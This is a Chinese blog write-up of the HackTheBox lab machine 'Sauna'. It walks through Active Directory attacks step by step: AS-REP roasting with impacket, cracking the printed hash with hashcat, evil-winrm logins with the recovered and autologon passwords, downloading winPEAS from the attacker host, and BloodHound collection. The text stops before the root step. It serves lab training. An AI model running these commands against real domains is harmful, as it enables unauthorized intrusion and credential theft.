Sauna Writeup

732 字
4 分钟
Sauna Writeup
Warning

仅供安全学习,环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

  • HTB
  • 难度:Easy
  • OS: Windows
  • Writeup: 解锁

Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation.1

host 别名:htb


分析#

侦察#

nmap -A htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 15:42 +0800
Nmap scan report for htb (10.129.46.111)
Host is up (0.19s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-24 14:42:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Note

Account Enumeration reconnaissance (LDAP)

确认这是一台 DC(Domain Controller),有 Web 服务(80/TCP)。

AD 认证使用 Kerberos,AD 域名:EGOTISTICAL-BANK.LOCAL。

User Flag#

先用 windapsearch 试试:

windapsearch -d EGOTISTICAL-BANK.LOCAL --dc htb -m users

没有返回域对象,行不通。


注意到网站 http://htb/about.html 中泄露了员工的名字:

  • Fergus Smith
  • Shaun Coins
  • Hugo Bear
  • Bowie Taylor
  • Sophie Driver
  • Steven Kerb

写入 name.txt:

再用 username-anarchy 处理名字:

username-anarchy --input-file name.txt --select-format first,flast,first.last,firstl > username.txt
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip htb -usersfile username.txt
Note

“NP” 即 “Non-Preauth” 不需要预认证。

TODO:Kerberos 和预认证

得到 fsmith 的 AS-REP 哈希:

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424

Note

AS-REP (Authentication Service Reply)

TODO


写入到 hash.txt:

echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424' > hash.txt
Warning

由于 CVE-2026-424832,hashcat v7.1.2 的 Kerberos hash parser 会出现堆缓冲溢出,造成 Salt-length exception 错误无法破解。

降级到 v7.1.1 即可。

使用 hashcat 爆破:3

hashcat -m 18200 hash.txt -o passwd.txt

得到密码:Thestrokes23


接下来使用凭证:

  • Username: fsmith
  • Password: Thestrokes23

通过 5985/TCP (WinRM) 登录到该用户:

evil-winrm -i htb -u fsmith -p Thestrokes23

在桌面下找到 user flag:


Root Flag#

接下来该提权了。

使用 winPEAS 枚举:

先在 Kali 开 HTTP 服务器让 DC 下载 winPEASx64.exe(似乎能比 upload 快):

Invoke-WebRequest -Uri http://10.10.14.195/winPEASx64.exe -OutFile winPEASx64.exe

执行:

.\winPEASx64.exe

注意到自动登录用户 EGOTISTICALBANK\svc_loanmanager:

密码:Moneymakestheworldgoround!

dir C:\Users 得知用户名:svc_loanmgr。

重新用该用户登录:

evil-winrm -i htb -u svc_loanmgr -p Moneymakestheworldgoround!

成功。


用 BloodHound 获取 AD 域信息:

bloodhound-python -d EGOTISTICAL-BANK.LOCAL -ns 10.129.46.111 -u svc_loanmgr -p Moneymakestheworldgoround! -c ALL
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513
INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513
INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Done in 01M 09S

然后启动 neo4j:

neo4j console

通过BloodHound 前端连接 neo4j:

sudo apt install bloodhound
bloodhound-start

将得到的 .json 文件打包:

zip info.zip *.json


References#

Footnotes#

  1. HTB - Sauna ↩

  2. CVE-2026-42483 ↩

  3. Hashcat Example hashes ↩

Sauna Writeup
https://nekoside.com/posts/sauna-writeup/
作者
nekoside
发布于
2026-09-30
许可协议
CC BY-NC-SA 4.0
文章目录